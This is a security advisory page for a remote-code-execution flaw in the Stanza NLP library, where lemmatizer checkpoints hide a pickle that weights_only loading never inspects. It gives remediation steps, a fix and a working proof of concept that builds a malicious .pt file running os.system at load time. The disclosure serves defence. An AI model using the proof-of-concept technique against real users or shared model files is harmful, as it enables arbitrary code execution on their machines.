HIGH · CVSS 3.1 7.8EPSS 0.5% · 41th percentileCWE-502CWE-94
CVE-2026-115878: Stanza: RCE via pickle deserialization in the lemmatizer
Published 2026-11-03 · Updated 2026-11-03 · Also known as GHSA-gh9r-c94j-cmp5
Summary
The Stanza library suffers from a remote code execution vulnerability due to insecure deserialization of lemmatizer checkpoint files. Users of Stanza versions 1.14.0 should update to 1.15.0 or avoid loading untrusted model files.
Who is affected
The vulnerability exists in the lemmatizer module, where attacker-supplied checkpoint files containing malicious pickled data are automatically executed during model loading. This affects any application that allows users to specify a path to a custom or shared lemmatizer model, such as when calling stanza.Pipeline with a user-influenced lemma_model_path. Execution occurs as soon as the model is loaded in the pipeline constructor.
Exploitability
With a CVSS 3.1 score of 7.8 (High), the vulnerability is considered reachable and exploitable, although it requires local access or user interaction to supply a malicious file. While the EPSS score of 0.006 indicates a low probability of widespread automated exploitation, CISA has not listed this as a known exploited vulnerability.
Remediation
Upgrade the stanza package to version 1.15.0 or later.
Avoid using or loading model files (.pt files) from untrusted or unverified sources.
Implement file integrity checks or checksum validation for any lemmatizer checkpoints utilized in pipelines.
How to check your project
Check the installed package version by running 'pip show stanza'.
Inspect the project codebase to identify if stanza.Pipeline is initialized using file paths provided by external users or unverified input sources.
Verify if current project environments rely on the affected version range (1.14.0).
Automated analysis of the published advisory data, generated 2026-11-18. Not human-reviewed; verify against the official advisory. How this works.
Affected packages
Ecosystem
Package
Affected versions
Fixed in
Upgrade
PyPI
stanza
>= 1.14.0, < 1.15.0
1.15.0
python -m pip install 'stanza>=1.15.0'
CVSS 3.1 vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
FAQ
Does torch.load(weights_only=True) protect against this?
No, because the malicious pickle is stored as a nested bytes object within the checkpoint. torch.load treats these bytes as primitive data, bypassing the outer allowlist and passing the malicious payload directly to the vulnerable function.
Is this vulnerability fixed by moving to a newer version of PyTorch?
No, this is an application-level flaw within Stanza's internal logic for unpacking the pos_dict, not a flaw in PyTorch itself.
What is the recommended fix if I cannot update Stanza immediately?
The suggested mitigation is to replace the unrestricted pickle.loads call in stanza/models/lemma/trainer.py with a RestrictedUnpickler that validates classes to prevent arbitrary code execution.
Original advisory description
## TL;DR
Loading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code.
Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`).
A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time.
## The vulnerable path
`stanza/models/lemma/trainer.py`:
```python
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data): # line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw) # <-- unrestricted default unpickler
```
```python
def load(self, filename, ...): # line 365
checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation
```
**Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=<file>)` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.
Note: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.
## Minimal PoC
```python
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
```
The PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.
## Fix
Deserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):
```python
from stanza.models.common.doc import RestrictedUnpickler
def _unpack_pos_dict(data):
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return RestrictedUnpickler(io.BytesIO(raw)).load()
```
A legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.